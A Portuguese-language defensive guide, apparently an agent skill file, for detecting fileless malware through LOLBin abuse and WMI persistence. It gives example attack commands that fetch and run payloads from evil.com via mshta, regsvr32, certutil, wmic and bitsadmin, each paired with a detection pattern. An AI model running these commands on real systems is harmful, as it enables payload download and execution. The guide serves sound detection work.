Detecção de Técnicas de Malware Fileless

Quando Usar

• Alertas de EDR indicam comportamento suspeito de binários confiáveis do sistema (PowerShell, mshta, wmic, regsvr32)
• Investigação de ataques que não deixam arquivos de malware tradicionais no disco
• Análise de assinaturas de eventos WMI, payloads armazenados no registro ou abuso de tarefas agendadas para persistência
• Criação de regras de detecção para abuso de LOLBin (Living Off the Land Binary) em ambientes corporativos
• Forense de memória revela código malicioso, mas nenhum arquivo correspondente existe no sistema de arquivos

Não use para malware tradicional baseado em arquivos; métodos de análise estática e dinâmica padrão são mais apropriados para malware residente em disco.

Falso Positivo do Windows Defender / Antivírus

Alguns produtos antivírus de endpoint — notavelmente o Windows Defender (assinatura Trojan:script/Wacatac.H!ml) — podem colocar em quarentena a SKILL.md desta skill como maliciosa. Este é um falso positivo conhecido: o arquivo documenta intencionalmente padrões de ataque fileless (LOLBins, PowerShell codificado, indicadores YARA de memória) para detecção e investigação defensivas. O conteúdo é apenas educacional; ele não executa código.

Se colocado em quarentena: restaure o arquivo da quarentena, adicione uma exclusão para o diretório local de suas skills e consulte a issue #100 do GitHub para discussão. As strings YARA residem em references/yara-fileless-powershell.yar (não inline neste arquivo) para reduzir acionadores de scanner, preservando a regra para analistas.

Pré-requisitos

• Sysmon instalado e configurado com log abrangente (criação de processos, eventos WMI, alterações de registro)
• PowerShell Script Block Logging e Module Logging habilitados
• Volatility 3 para forense de memória de artefatos de malware fileless
• Process Monitor (ProcMon) para monitoramento de atividade do sistema em tempo real
• Acesso ao Log de Eventos do Windows com políticas de retenção adequadas
• Autoruns para identificar mecanismos de persistência

Fluxo de Trabalho

Etapa 1: Identificar Uso de LOLBin

Detectar abuso de binários legítimos do Windows para fins maliciosos:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Etapa 2: Detectar Persistência Baseada em WMI

Analisar assinaturas de eventos WMI usadas para persistência fileless:

# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

…